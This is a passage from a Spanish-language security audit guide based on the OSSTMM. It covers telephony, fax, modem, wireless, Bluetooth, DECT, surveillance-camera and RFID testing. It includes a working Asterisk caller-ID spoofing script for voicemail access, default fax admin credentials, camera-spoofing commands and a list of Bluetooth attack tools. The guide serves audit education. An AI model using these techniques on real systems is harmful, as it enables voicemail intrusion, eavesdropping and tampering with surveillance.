Existen pocas empresas que se dediquen a fabricarlas, por lo que conociendo un par,
conoces el 70% del mercado.

La gente que maneja las PBX no suelen estar concienciados de medidas de seguridad, por lo
que muchas veces, hasta las funciones ms obvias de seguridad, muchas veces no estn
presentes.

La mayora de veces estn gestionados remotamente, por lo que es fcil para los hackers
encontrar estos puntos de acceso.

Las actualizaciones de software de los PBX se suelen hacer remotamente, por lo que es
posible interceptarlas y corromperlas, introduciendo caballos de Troya

Pgina 48

El mantenimiento remoto por parte de los proveedores significa que las contraseas y mucha
de la informacin pueden encontrarse fcilmente fuera de la empresa (por ejemplo, estar
disponible en algn manual en alguna pgina web).

Muchas veces es utilizado por todo el mundo, no solamente gente cualificada, por lo que
hace que sea ms susceptible a la ingeniera social (por ejemplo, engaando para que les den
la contrasea).

Suele estar instalado en lugares poco utilizados, como en algn almacn poco transitado, por
lo que hace que sea fcil de acercarse y manipularlo.

Los PBX son extremadamente complicados, por lo que es muy difcil de garantizar la
seguridad de cada caracterstica que ofrece por separado, por lo que es muy posible que un
hacker se prepare a fondo un tipo de penetracin, y superar al encargado, ya que este tiene
una visin ms general del mismo.

El comprometer la PBX significa, que un atacante pueda adems, obtener informacin privilegiada
de la empresa, llamar en su nombre, y un largo etc.

2. Testeo de Buzn de Voz/Contestador

Este tema ha sido ampliamente comentado sobre la red, sobre todo durante los aos 80, aunque
volvi a ser actualidad cuando el mvil de Paris Hilton (conocida figura pblica) fue hackeado.
Tipos de buzones de voz, hay miles. Cada uno es configurable, por lo que posibilidades hay
muchas, y lo ms comn es que estn embebidas dentro de la propia PBX. Adems de estas ltimas,
existen programas que implementan estas funciones, como por ejemplo Asterisk, un programa libre
que proporciona funcionalidades de una PBX. Este es utilizado actualmente, en muchos lugares,
como por ejemplo la UPV (universidad politcnica de Valencia).
La seguridad de los buzones de voz, suelen estar basados en 2 cosas:
Contrasea
CallerId: nmero desde el que se llama.
Existen multitud de formas de acceder a los mensajes guardados en el buzn de voz personal,
siendo la ms comn (para particulares), el descolgar el telfono, y esperar a acceder al buzn de
voz. Esta forma de autenticarse, se realiza mediante la CallerId. En otros, se suele marcar un
nmero de telfono (depender de la PBX que proporcione el servicio) e introducir una contrasea.
Esto suele ser ms comn en empresas, o para poder acceder a los buzones de voz de forma remota.
A modo de ejemplo de comprometer la seguridad basada en el CallerID, se va a mostrar un trozo de
cdigo que utiliza la tcnica de CallerID Spoofing:
#!/asterisk/php/bin/php -q
<?
set_time_limit(30); //para que no se agote el tiempo del script
require(phpagi.php); // incluye phpagi class
error_reporting(E_ALL); // limitar los errores
$agi = new AGI(); // instanciar la clase AGI
$agi->answer(); // contestar el telfono
Pgina 49

sleep(2); // esperar 2 segundos

$agi->stream_file(enter_spoof); // reproducir un wav que dice
enter the number
$result = $agi->get_data(beep, 3000, 10); // suena beep y coge
los 10 nmeros
$agi->verbose(Number to call:.$result['result']); //muestra
informacin para saber que est sucediendo
$agi->set_callerid($result['result']); // pone el CallerID en el
nmero que ests marcando
$agi->exec(Dial IAX2/iax-provider/1.$result['result']); //llama
al nmero
?>
Podemos aadir lo siguiente en el /var/lib/asterisck/agi-bin y despus especificar la extensin que
quieres utilizar para marcar y ejecutar el script php/agi:
exten => 666,1,Answer
exten => 666,2,AGI(tmobilevoicemail_spoof.php)
exten => 666,3,Hangup
Como vemos, de la misma forma que Asterisk puede utilizarse como PBX, aqu podemos utilizarlo
para fines maliciosos, y por tanto, tambin para saber como funcionan las herramientas de gente con
intenciones fraudulentas.

3. Revisin de los faxes

Este mdulo se ocupa de revisar la correcta configuracin de los faxes. Comprobar si el sistema
operativo est actualizado, contraseas por defecto, etc.
Como bien dice Bruce Schneier, experto en seguridad informtica y escritor, los faxes son
fascinantes. Son tratados como los documentos originales, aunque carecen de los mecanismos de
autenticacin que se han desarrollado para los documentos oficiales, como puedan ser las marcas de
agua, firmas, etc... La mayora de las veces no hay problemas, pero muchas veces se puede explotar
la confianza innata de las personas en los faxes en beneficio propio.
A medida que ms y ms compaas estn adquiriendo faxes multifuncin, estn dando ms
oportunidades a que surjan fallos de seguridad. Esto se debe a que, uno de los factores que ms se
est abarcando a todos los fabricantes, es que no existen restos que un auditor/forense pueda
examinar para solucionar problemas. Es decir, puedes enviar por FTP o email cualquier documento
que quieras (a la competencia, por ejemplo), sin que se registre nada. La mayora de estas mquinas
proveern una direccin de FTP o email del destino, pero el remitente no lo identifica. Existen
algunos fabricantes que permiten asignar a todo el mundo un cdigo ID (normalmente de 3 o 4
dgitos) que debers introducir para poder enviar cualquier cosa, pero esto no suele ser muy comn.
Hoy en da puedes enviar faxes desde la privacidad de tu puesto de trabajo, aunque muchos faxes
tradicionales guardan una copia de todo lo enviado par posteriormente revisarlos, y proveer una
buena fuente de informacin para los auditores. Sin embargo, casi ninguna impresora/fax
multifuncin lo hacen, incluso utilizando la mayora de los clientes de fax (normalmente un cliente
web) que viene con los multifuncin.
Adems, la mayora de los multifuncin permiten que utilices sus clientes FTP y email desde tu
puesto de trabajo (y no desde la propia mquina, lo cual ofrece al usuario malintencionado mayor
discrecin).
Pgina 50

Tambin sucede que, cualquiera puede ver los parmetros de configuracin (direccin IP, nombre
del servidor de correo, etc..), aunque el administrador no permita que los usuarios cambien los
mismos, lo cual, sigue siendo til para el usuario malintencionado. An as, es poco comn que los
encargados de stas mquinas se preocupen de de denegarlo va el navegador web el FTP y telnet
(muchos de los usuarios ni siquiera sabrn que es telnet). Siendo as, cualquiera puede cambiar las
direcciones IP, las mascaras de red, o la puerta de acceso de la impresora para deshabilitarlo, o
incluso crearse una forma de evadir firewalls, por ejemplo.
Otro punto interesante, es la gran capacidad de almacenaje que tienen, pues almacenan todo lo que
se va imprimiendo, escaneando, emails etc...
Por ltimo, comentar algunos ejemplos de fallos encontrados en el modelo de Imagistics DL370:
1.Contiene 3 cuentas administrativas y contraseas. Para consola, navegador web y telnet. La
consola no est activada por defecto. Las 3 cuentas tienen por defecto el login/contrasea como:
adm/adm, aunque cada proveedor es posible que cambie esto antes de instalarlo.
2.Las funciones de administracin requieren una contrasea, aunque una vez introducida la
contrasea se almacena en la URL en texto sin cifrar, y puede ser recuperado fcilmente.
3.Si se guardan los parmetros de configuracin en el disco duro, y abres el fichero .bin con algn
editor de texto, aparece tambin la contrasea del admin, y solo se necesita permiso de usuario para
leerlo.
4.No puede deshabilitarse la funcin del navegador web para la administracin, por lo que los fallos
2 y 3 siempre estarn disponibles.

4. Testeo de Mdems
La tcnica ms importante que se utiliza para comprometer la seguridad de los mdems, es la
conocida como wardialing:
Wardialing fue una tcnica utilizada principalmente en las dcadas de los 80 y 90, cuando los
mdems de marcacin por tonos eran la forma ms comn de conexin a internet. Consista
principalmente en hacer llamadas a una serie de nmeros de telfono automticamente con el fin de
encontrar mdems conectados que permitieran la conexin con algn ordenador. El trmino toma su
nombre de una pelcula llamada Wargames, donde los protagonistas utilizaban una tcnica conocida
hasta entonces como daemon dialing, y la llamaban wardialing. A partir de entonces, pas a
llamarse wardialing, y es la que se emplea actualmente.
Con la llegada de las nuevas tecnologas, unas herramientas quedan desfasadas, y otras aparecen, y
dentro del wardialing, aparece una herramienta novedosa: WarVox(Figura 15: ).

Figura 15:
sta es una herramienta actual que permite, mediante VoIP, realizar una identificacin o
clasificacin de lneas de telfono que expongan servicios a datos.

Pgina 51

VoIP es en realidad un amalgama de protocolos destinados a transmitir telefona tradicional por

medio de redes de datos. La prctica totalidad de los protocolos de VoIP existentes (h.323, SIP,
IAX, SS7oIP, etc.) diferencian claramente la informacin de sealizacin (informacin de control
de datos, por ejemplo pulsar el nmero 7, nueva llamada, etc), de la informacin de voz o sonido.
En VoIP, los codecs que se emplean tienen como meta, el reducir al mximo el ancho de banda
necesario para transmitir la llamada, permitiendo realizar el mayor nmero de llamadas
concurrentes, a diferencia de las llamadas tradicionales de telefona digital.
Por ejemplo, en telefona digital tradicional, un primario EuroISDN E-1 dispone de 30 canales de
64kb/s cada uno, lo cual permite la transmisin de 30 llamadas concurrentes. Sin embargo, el
mismo primario puede ser configurado para la transmisin de datos mediante protocolo TCP/IP, en
cuyo caso el primario ofrece un ancho de banda total de 2Mb/s. Sobre este canal de 2Mb/s el
operador puede, utilizando VoIP cursar con facilidad ms de 80 llamadas concurrentes . Esto es
posible porque los codecs de VoIP estn diseados para limpiar, normalizar y simplificar el sonido
antes de comprimirlo. Adems, se realiza una compresin con prdidas, ya que lo nico que se
busca, es que la informacin de habla que intercambian dos personas sea comprensible.
Sin embargo, el empleo de estos codecs tan eficientes, presenta un grave problema cuando se
pretende realizar un wardialing. O de forma ms generalista, presentan un grave problema cuando
se pretenden transmitir datos como parte del sonido de una llamada VoIP, pues estos codecs son
generalmente incompatibles con la forma en la cual un mdem tradicional codifica la informacin
para su transmisin.
Resumiendo: en la mayor parte de los casos, es improbable (que no imposible), la transmisin de
datos de un mdem por medio de VoIP. As pues, dado que en un wardialing lo que se pretende es
identificar y atacar servicios de datos como servidores de Acceso RAS, Servidores de Terminales,
sistemas de control industrial, x.25, etc. tratar de emplear VoIP para conectar a estos sistemas seria
un intento ftil. As mismo, y para el escenario que nos ocupa, tratar de mantener muchas llamadas
concurrentes a travs de Internet empleando estos g.711 consumir un ancho de banda considerable,
adems de introducir latencias muy superiores a las de los otros codecs, resultando una
configuracin poco prctica en la mayor parte de los escenarios.
Despus de esta introduccin, es donde entra WarVox, una herramienta que nos ayudar en una de
las fases mas tediosas del wardialing: la identificacin de objetivos:
Como paso previo en el wardialing, lo normal, es realizar una batera automatizada de llamadas a
todos los nmeros de telfono a investigar para identificar en que lneas hay algn tipo de servicio
de datos y cules son lneas de Voz. Sin embargo, muchas veces el rango de nmeros de telfono
que suelen proporcionar algunas compaas suele ser bastante extenso. Adems, es posible que
estn distribuidos muy lejanamente entre s, en distintas ciudades, comunidades autnomas, o
incluso pases, por lo que el coste econmico y temporal de realizar esto a mano, suele ser
imposible. Y he aqu el problema que WarVox intenta solucionar: permitir reducir el tiempo y coste
necesario para realizar la identificacin y clasificacin de los nmeros de telfono a investigar.
Empleando la VoIP que los operadores de telefona ofrecen, a travs de internet, de forma que
podamos reducir el coste y llamadas concurrentes (tal y como hemos explicado anteriormente).

Pgina 52

Figura 16:
Con WarVox, podemos introducir una lista (o una serie de rangos) a analizar, para que la
herramienta llame a dichos nmeros por medio de VoIP y nos proporcione una lista reducida de
nmeros interesantes sobre los cuales profundizar en un anlisis ms manual. Esto suele ser
comn en muchas de las formas de trabajar de los auditores, comenzar el anlisis de uno de los
mdulos mediante la automatizacin antes de pasar al modo manual. Y no solo hablando de
herramientas informticas que lo realicen, sino tambin mediante el uso de scripts que hacen que los
propios programas puedan trabajar en los aspectos ms tediosos y largos, y que los propios
auditores puedan dedicar su reducido tiempo a otros aspectos que no es posible automatizar.
Volviendo al tema, a diferencia de las herramientas de wardialing tradicional, WarVox no conecta
al otro extremo e interpreta los datos como seria habitual.. Por el contrario, WarVox lo que hace
es grabar durante un tiempo determinado el sonido que genera el otro extremo tras descolgar, para
ms tarde analizarlo mediante transformaciones de Fourier y otros anlisis matemticos en busca de
indicios de que el sonido corresponde a un mdem, fax u otro servicio de datos.
Una vez recopilados estos nmeros de telfono interesantes, ya se puede utilizar los mdems
tradicionales para marcar e investigar que se esconde tras la portadora remota, tal y como se viene
haciendo en el Wardialing tradicional.

Seccin E Seguridad Wireless

1. Testeo de Radiacin Electromagntica
Este mdulo raramente se realiza para una auditora de empresa. Tiene ms cabida dentro de
entornos militares o inteligencia, donde se ha de estar seguro al 100% (o al menos, lo ms seguro
posible). Es un tipo de pruebas y verificaciones que resultan muy costosas de realizar, tanto por
parte de un auditor, como por parte de alguien malintencionado, por lo que muy pocos auditores le
Pgina 53

dedican mucho tiempo. Es mejor dedicar el escaso tiempo del que suele disponerse para recorrer el
resto de mdulos de la metodologa.
En este mdulo, lo que se suele explorar, es la radiacin emitida por los distintos dispositivos de los
que dispone una empresa. Existen dispositivos, que son capaces de detectar desde una cierta
distancia, la radiacin que emite una pantalla de ordenador, por ejemplo, y mostrar las imgenes en
otra pantalla. De esta forma, no es necesario tener contacto visual con la pantalla. Tambin es
posible recoger radiacin de impresoras, mdems, telfonos mviles y tratar de mostrar lo que han
recogido, o estn transmitiendo, aunque muchas veces, aparece demasiado ruido como para que
pueda entenderse, o simplemente utilizando coberturas metlicas (en bases militares de EEUU
utilizan equipamiento especialmente diseado contra estas fugas de informacin, catalogados como
Tempest). Tambin es posible reducir las probabilidades de ser detectado, utilizando
configuraciones de pantalla con bajo contraste, o emitir ruido blanco (la tpica niebla de la
televisin es ruido blanco) para que los receptores no sean capaces de distinguirlo de la seal
original.

2. Testeo de Redes Wireless

Sigue habiendo muchas, aunque cada vez menos, puntos de acceso wireless sin ningn tipo de
proteccin, o con proteccin Wired Equivalent Privacy (WEP). Durante mucho tiempo, ha sido (y
an sigue siendo) un proveedor de internet para mucha gente que o bien no tiene punto de acceso
propio, o que est de paso. Manuales para realizar tests de penetracin en redes wireless hay
muchos por la red, cada uno trabajando de una forma distinta. Incluso se han llegado a publicar
distribuciones linux adaptadas para realizar este tipo de ataques (por ejemplo, la archiconocida
WifiSlax o Backtrack). Esta es la razn de que no se incluya un ejemplo paso a paso, por lo que
simplemente se citarn algunas de las herramientas ms populares.
Antes de empezar un test de penetracin contra una red wireless, es importante entender que las
vulnerabilidades asociadas con las WLANs. El estndar 802.11 fue desarrollado como un estndar
abierto, es decir, que la facilidad de acceso y conexin fueron sus principales objetivos. Sin
embargo, la seguridad no fue una de sus prioridades, y los mecanismos de seguridad que se
desarrollaron fueron pensados ms adelante, casi a modo de parche. Cuando la seguridad no es
introducida como parte del mismo concepto de desarrollo, suele ocurrir que no ofrecen una
solucin robusta, por lo que en las redes Wireless, ste es un asunto bastante preocupante. Es por
esto, por lo que muchas veces, debemos preguntarnos es realmente necesario utilizar wireless en
lugar de cable? Es realmente necesario tener tanto alcance, o podemos reducirlo?
Existen dos tipos bsicos de vulnerabilidades en WLAN: las que son resultado de una mala
configuracin, y las vulnerabilidades por mala codificacin (igual que cuando hablbamos de las
contraseas).
Los problemas de configuracin son las responsables de muchas vulnerabilidades asociadas con
WLANs. Esto es porque las redes wireless son fciles de instalar, y muchas veces se despliegan con
protecciones pobres o inexistentes. Una WLAN abierta, una que est con la configuracin por
defecto, requiere casi nada de trabajo para un penetration tester. Simplemente configurando el
adaptador WLAN para asociarse con redes abiertas, permite el acceso a las mismas. Una situacin
similar existe cuando se utilizan medidas de seguridad inadecuadas. Las WLANs muchas veces se
instalan por mandos superiores, y se requiere rapidez, por lo que los administradores simplemente
ocultan los puntos de acceso y/o habilita el filtro por direccin MAC.
Ninguna de estas medidas provee una seguridad real, y un tester puede deshacerse de ellas
fcilmente.
Cuando un administrador instala la WLAN con uno de los mecanismos de codificacin disponibles,
Pgina 54

un tester puede muchas veces introducirse tambin en la red, gracias a las vulnerabilidades
inherentes a la codificacin utilizada. Tanto WEP como WPA (Wi-Fi Protected Access) son
vulnerables a ataques de diccionario offline, con WPA siendo objetivo de cada vez ataques ms
rpidos en el ao pasado.
Como herramientas populares para este campo:
kismet:

sniffer o husmeador de paquetes y sistema de deteccin de intrusiones para WLANs. Se

diferencia del resto de sniffers inalmbricos en que su funcionamiento es pasivo, es decir, lo hace
sin enviar ningn paquete detectable.
aircrack-ng: software que consiste en un sniffer y crackeador de WEP, y WPA/WPA2-PSK.
Incluye, entre otras aireplay-ng, airodump-ng entre otras
macchanger: utilidad linux/unix para cambiar la direccin MAC de una tarjeta por otra especfica.
Ideal para MAC Spoofing.
airodump-ng: sniffer de paquetes, que los clasifica en ficheros PCAP o IVS, y muestra
informacin sobre redes.
aireplay-ng: Inyector de paquetes. Sirve para obligar a los puntos de acceso a que nos enven ms
paquetes, y poder aumentar el trfico del punto de acceso, de tal forma que podamos recoger ms
informacin para tratar de romper la clave. Solo funciona con algunas tarjetas.

3. Testeo de Redes Bluetooth

El nombre de Bluetooth (diente azul) proviene del apodo del rey Harald de Dinamarca, que gobern
desde 958 hasta 986 aproximadamente, y tambin rey de Noruega alrededor de 970. La compaa
Ericsson puso el nombre de Bluetooth a una nueva tecnologa en memoria de Harald, que unific
Dinamarca y Noruega poniendo fin a la era vikinga, pues una de los objetivos de esta tecnologa era
el poder unificar varios dispositivos.
Bluetooth, es una especificacin industrial para Redes Inalmbricas de rea Personal (WPANs)
que posibilita la transmisin de voz y datos entre diferentes dispositivos mediante un enlace por
radiofrecuencia segura y globalmente libre (2,4 GHz.). Los principales objetivos que se pretenden
conseguir con esta norma son:

Facilitar las comunicaciones entre equipos mviles y fijos.

Eliminar cables y conectores entre stos.
Ofrecer la posibilidad de crear pequeas redes inalmbricas y facilitar la sincronizacin de
datos entre equipos personales.

Los dispositivos que con mayor intensidad utilizan esta tecnologa pertenecen a sectores de las
telecomunicaciones y la informtica personal, como PDA, telfonos mviles, ordenadores
porttiles, ordenadores personales, impresoras o cmaras digitales.
Este mdulo de la OSSTMM, se encarga principalmente de comprobar las redes conocidas como
piconets :
Una piconet puede constar de dos a ocho dispositivos unidos por Bluetooth. En una piconet, habr
siempre un maestro y los dems sern esclavos.
El perifrico como maestro:
Pgina 55

Se

encarga de escoger el hop adecuado para mantener el enlace.

Establece

conexiones en las que un paquete de datos ocupa una ranura para la emisin y otro para
la recepcin que pueden ser usados alternativamente, dando lugar a un esquema de tipo TDD (Time
Division Duplex).
La

secuencia nica de salto de frecuencia del canal est determinado por la identidad del maestro
de la piconet (un cdigo nico para cada equipo), y por su frecuencia de reloj. Para que una unidad
esclava pueda sincronizarse con una unidad maestra, sta debe aadir un ajuste a su propio reloj
nativo y as poder compartir la misma portadora de salto.
Mucha gente no es consciente de la seguridad en, por ejemplo sus telfonos mviles. Siempre que
piensan en seguridad de las tecnologas de la informacin, piensan nicamente en sus ordenadores
personales, pero dentro de los telfonos, se puede encontrar montones de informacin personal o
confidencial (sobre todo si es el telfono de algn ejecutivo).
Una herramienta interesante, es Super Bluetooth Hack, una herramienta Java para telfonos
Ericsson y Nokia. Entre otras acciones disponibles para realizar contra un telfono remoto, incluye:
Leer

mensajes SMS
Leer contactos
Cambio de perfil
Desempear meloda (incluso si el telfono est en silencio)
Reproducir canciones
Reiniciar el telfono
Apagar el telfono
Restaurar la configuracin de fbrica
Cambio de volumen de timbre
Llamada desde otro telfono
Cabe notar, que se necesita que el telfono remoto nos de permiso para emparejar los telfonos. Sin
embargo, esto puede no ser demasiado dificil utilizando alguna tcnica de ingeniera social.
Existen muchas otras herramientas:
Blooover:

herramienta que funciona sobre telfonos con J2ME habilitado. Es una herramienta de
auditora que puede ser utilizado para comprobar si sus telfonos son vulnerables
BlueBug: BlueBug es el nombre de un agujero de seguridad en algunos telfonos mviles con
Bluetooth. Explotando este agujero, permite descargar agendas de contacto y listas de llamadas
enviando mensajes SMS al telfono atacado entre otras cosas.
BlueFish: es un sistema de vigilancia que busca la presencia de dispositivos Bluetooth y sus
usuarios. BlueFish escanea constantemente en busca de dispositivos con Bluetooth activado.
Cuando encuentra un nuevo dispositivo, el programa saca una captura del rea donde fue localizado
el dispositivo, y cataloga toda la informacin disponible del dispositivo. Si vuelve a encontrar
alguna vez ese mismo dispositivo, se le enviar la ltima imagen capturada del mismo mediante
Bluetooth. Todas las imgenes son marcadas con el nombre del dispositivo y la hora cuando fue
observado por ltima vez. Segn va pasando el tiempo, se construye un perfil de cada dispositivo,
de forma que es posible hacerse una idea de las costumbres de la persona que frecuenta el lugar.

Pgina 56

Bluetooth

Phone Book Dumper: crea una copia de seguridad del Nokia 6310 va Bluetooth.
Tambin funciona en algunos mviles Ericsson. Los datos se escriben en formato XML estndar.
No es necesario introducir ningn dato del objetivo ni emparejamiento, simplemente utiliza
comandos GSM AT a travs de conexiones RFCOMM (Logical Link Control and Adaptation
Protocol o en espaol: Protocolo de control y adaptacin del enlace lgico).
FreeJack: la principal aplicacin de este programa es el enviar mensajes annimos a dispositivos
con Bluetooth activado dentro de su rango
Como vemos, es un campo bastante estudiado (y por lo tanto, tambin por parte de hackers
malintencionados), por lo que siempre es aconsejable mantener los telfonos mviles actualizados,
y no activar Bluetooth mas que en los momentos que sea necesario.

4. Testeo de Dispositivos Inalmbricos

Esta seccin estudia cuan seguros son los dispositivos inalmbricos de entrada de un ordenador.
Cada vez ms, los usuarios buscan comodidad dentro del hardware que compran, y buscan el
deshacerse de los cables. Compran ratones, teclados, micrfonos inalmbricos etc... sin embargo, no
se es consciente, de que muchas veces esto puede suponer una va de entrada para los hackers ms
experimentados.
Existen mtodos para capturar, por ejemplo, aquello que se est tecleando en un teclado, de forma,
que puedan leerse las contraseas que escribe el usuario, por ejemplo.
Alguna vez ha sucedido que, trabajando con dos ordenadores adyacentes, sus ratones inalmbricos
ha interferido el uno con el otro, de forma que trabajando con uno de ellos, el puntero de la pantalla
del otro ordenador tambin se mova. Esto suele suceder en alguna ocasin, generalmente con
modelos de la misma marca y/o modelo. Lo mismo ocurre con los teclados, que pulsando una tecla,
aparecen los caracteres en ambos monitores. Sucede, que interfieren el uno con el otro, y puede
solucionarse sincronizando uno de ellos para que deje de interferir. Sin embargo, esto puede llamar
la atencin a algn experto en seguridad (ya sea auditor o hacker malintencionado).
A finales de 2007, se hizo pblico el hallazgo de dos investigadores de una compaa suiza llamada
Dreamlab Technologies. Segn sus afirmaciones, los teclados inalmbricos Microsoft codifican de
una forma tan dbil la informacin que envan que es posible no slo ver y almacenar en tiempo
real cada tecla que fue presionada, sino tambin interferir en la comunicacin y emular a uno de
estos teclados, enviando caracteres en su nombre.
Estos teclados, que suelen trabajar a una frecuencia de radio de 27 MGHz, envan durante el
proceso de emparejamiento la clave con la que van luego a cifrar toda la comunicacin en plano y al
descubierto, de forma tal que si se tiene la oportunidad de captar este proceso ni siquiera hace falta
descifrar nada. Y si no es as, no importa; la codificacin se realiza mediante una simple operacin
XOR, y la clave generada al azar en cada emparejamiento slo vara en un byte, por lo que slo hay
256 combinaciones posibles para probar.
Los investigadores fueron capaces de capturar las teclas que se presionan en varios teclados
simultneamente, en un radio de 10 metros, ya sea en el mismo cuarto o desde otra habitacin, pero
sealan que utilizando antenas direccionales el alcance puede extenderse fcilmente.
Por lo tanto, y a pesar de la comodidad que nos puedan ofrecer los medios inalmbricos dentro del
mbito de los perifricos de entrada del ordenador, lo ms seguro es utilizar el cable. No obstante,
Pgina 57

realizar la operacin de captura de lo que se escribe en un teclado, es una operacin difcil que
pueden hacer unos pocos, por lo que no debemos preocuparnos a nivel de usuario. Ni siquiera a
nivel de empresa (depende de qu empresa), puesto que todos sabemos, que siempre podemos
encerrarnos en un bnker a trabajar (y esto probablemente tampoco fuera 100% seguro), pero hay
que encontrar un equilibrio entre la seguridad y la funcionalidad.

5. Testeo de Dispositivos Inalmbricos de Mano

En este mdulo, se tratan todos los dispositivos inalmbricos como un todo. Son muchos los tipos
que existen, por lo que en esta seccin, se engloban como un conjunto, y se tratan por igual.
Lo ms importante, es sobre todo el educar al usuario, para que sea responsable y consciente de los
peligros que suponen este tipo de dispositivos para la seguridad.
A continuacin se expone algunas de las vulnerabilidades especficas de los dispositivos
inalmbricos e inalmbricos de mano:
Todas

las vulnerabilidades que existen para las redes cableadas tradicionales se aplican tambin a
las inalmbricas.
Puede ganarse acceso no autorizado a la red a travs de conexiones inalmbricas eludiendo las
protecciones del firewall.
La informacin que no sea codificada (o que es pobremente codificada) puede ser interceptada
entre dos dispositivos inalmbricos y leda.
Pueden dirigirse ataques de denegacin de servicio contra conexiones o dispositivos inalmbricos.
Puede suplantarse la identidad de usuarios legtimos en redes internas o externas corporativas.
Datos importantes pueden corromperse durante una sincronizacin incorrecta.
Es posible que pueda violarse la privacidad de los usuarios legtimos y ser capaces de seguir sus
movimientos.
Es posible instalar equipamiento no autorizado (por ejemplo, equipos de visitantes) para ganar
acceso a informacin privada.
Los dispositivos de mano puede ser fcilmente robados y pueden revelar informacin confidencial.
Pueden extraerse datos sin que sea detectado de dispositivos mal configurados.
Los virus, u otros cdigos maliciosos pueden corromper los datos de un dispositivo inalmbrico y
despus, introducirse en una red cableada.
Los virus u otros cdigos maliciosos pueden a travs de conexiones inalmbricas conectar con
otras compaas u organizaciones, siendo estas ltimas el objetivo de su ataque, de forma que sea
ms difcil de detectarse.
Los intrusos pueden ganar conectividad a la red desde fuera o dentro del edificio donde est la red,
o ganar, incluso, control de administracin de las redes y sabotear las conexiones.
Puede realizarse ataques internos va transmisiones ad-hoc.

6. Testeo de Comunicaciones Inalmbricas

En este mdulo, se estudia la seguridad que ofrecen los dispositivos inalmbricos de
comunicaciones (cuyo mejor ejemplo, son los telfonos inalmbricos) de la empresa que se audita.
Se estudia sobre todo, interferencias y alcance de los dispositivos inalmbricos.
Este es otro de los mdulos que las organizaciones no suelen tener en cuenta, ya que no forma parte
Pgina 58

de la red de ordenadores. Sin embargo... que precio tiene el poder escuchar conversaciones
telefnicas de los competidores, por ejemplo? Concretamente, se ha conseguido hacer con 23:
El sistema DECT (patentado en Espaa en 1993 para ser utilizado en Europa) es utilizado para
comunicaciones sin cables de voz y datos de forma segura en distancias cortas. Algunas de sus
aplicaciones son la comunicacin de telfonos inalmbricos con sus estaciones base, aunque existen
ms, como la apertura de puertas de garaje entre otras.
Siendo el protocolo pblicos, hay dos aspectos que no lo son y solo los fabricantes tienen acceso a
los mismos: El algoritmo de autenticacin DASS y el sistema de cifrado DSC.
El algoritmo DASS ha sido descifrado mediante ingeniera inversa, y como muchos telfonos
DECT no llevan habilitada la codificacin DSC, es posible capturar el audio o suplantar la estacin
base donde se conecta el telfono.
Ahora deDECTed.org ha anunciado que en los prximos das publicar una implementacin en C de
la codificacin DSC, que ha sido posible desarrollar gracias a la ingeniera inversa de hardware.
En el Chaos Communication Congress, demostraron como volcar a disco una conversacin
telefnica, utilizando para ello la tarjeta PCMCIA COM-ON-AIR, para la que han desarrollado
drivers para Linux y que se puede conseguir por alrededor de 23 .
Actualmente se cree que hay 30 millones de telfonos que utilizan DECT en Alemania, por lo que
estaramos ante un grave problema de privacidad.

7. Dispositivos de Vigilancia Inalmbricos

En este mdulo, la atencin se centra en dispositivos que sirvan de vigilancia, por ejemplo cmaras
inalmbricas.
Estas son muy fciles de instalar, ya que no requiere cables. Adems, se pueden instalar en lugares
inaccesibles por la misma razn, y es por esto, por lo que muchas empresas deciden instalarlas.
Sin embargo, comparten varios fallos de seguridad con sus anlogas de cable:
El primero de ellos, es el basado en la relacin de confianza que existe entre el dispositivo y el
donde est conectado. Es imposible de saber si la cmara en la otra punta es lo que debera ser. No
existe ningn mtodo implementado basado en IP para sistemas de vigilancia. El mtodo de ataque
es sencillo: desconectar la cmara de vigilancia, y conecta un porttil en su lugar. EL software de
videovigilancia nunca podr saber que la cmara ha sido reemplazada por un stream de video.
Muchos de las soluciones implementadas para videovigilancia basadas en IP, estn basadas en
protocolos de descubrimiento bsicos, como mdNS y UpnP. Ambos, trabajan con direcciones
multicast, por lo que es posible falsificar tantas cmaras como queramos.
De hecho, existen por la red scripts como register.py
(http://www.gnucitizen.org/static/blog/2008/01/register.py) que registran una cmara del modelo
AXIS206 en el sistema, mientras que el script server.py
(http://www.gnucitizen.org/static/blog/2008/01/server.py) enva un stream de video en MJPEG.
Para usarlos:
Pgina 59

register.py [direccin MAC aqu] &

server.py http://152.1.130.216/mjpg/video.mjpg # MJP video stream
Podemos registrar tantas cmaras como queramos, de tal forma que simplemente se pueda causar
caos, o hacer creer a los vigilantes que las cmaras estn mal situadas.
Como ltimo dato a resaltar, es el comentar que existen empresas que fabrican dispositivos que
escanean en busca de cmaras automticamente(Figura 17: )

Figura 17:
El dispositivo de la Figura 17: concretamente ofrece:
Escanear
Alcanza

en busca de cmaras ocultas en menos de 5 segundos.

los 150 metros su exploracin.

Utilizada

por profesionales para buscar en edificios enteros.

Escanea frecuencias de 900 MHz a 2.52 GHz y busca un gran rango de cmaras incluyendo PAL/
NTSC, CCIR/EIA.
Viendo estas caractersticas, cualquier persona entrenada (y con $499.95) puede sortear un sistema
de vigilancia.

8. Dispositivos de Transacciones inalmbricas

Esta seccin se refiere en gran medida los dispositivos que se encuentran en las cajas registradoras
de algunas tiendas. Son aquellas que se utilizan para leer los cdigos de barras de los productos que
se venden. Se suelen utilizar para poder mantener un inventario, llevar contabilidad etc...
Se suele estudiar si realmente son necesarios, si estn en concordancia con las polticas de empresa,
ver si estn actualizados los firmwares etc...

9. Testeo de RFID
RFID (siglas de Radio Frequency Identification o identificacin por radiofrecuencia) es un sistema
de almacenamiento y recuperacin de datos remoto que usa dispositivos denominados etiquetas,
Pgina 60

transpondedores o tags (o etiquetas) RFID.

Figura 18:
El propsito fundamental de la tecnologa RFID es transmitir la identidad de un objeto (similar a un
nmero de serie nico, algo parecido a las direcciones MAC de las tarjetas de red) mediante ondas
de radio.
Esta tecnologa ofrece una cantidad de ventajas, ya es una forma rpida y eficiente de realizar
inventarios. Es posible detectar muchos de stos simultneamente, y si marcamos (por ejemplo los
productos de una tienda), podemos saber cuantas existencias tenemos de un determinado objeto.
Adems, tambin es posible detectarlos por si van a salir o entrar de un recinto, lo cual podra ser
til para detectar hurtos en tiendas.
Pero no solo eso. Los chips RFID estn en todas partes, muchas empresas y laboratorios los usan
como llaves de acceso, algunos coches los utilizan en vez de llaves, y como bien hemos dicho,
tiendas y supermercados para realizar inventarios y sistemas antirrobo. Ahora, se est estudiando
incluso el uso de los mismos para pasaportes, DNI, tarjetas de crdito, o a modo de poder introducir
el historial clnico en los mismos pacientes (tal y como se viene haciendo para perros y gatos por
parte de los veterinarios).
La tecnologa RFID data de antes de la segunda guerra mundial, cuando los Britnicos colocaban
transpondedores de radio en los aviones Aliados para ayudar a los sistemas de radar a distinguir
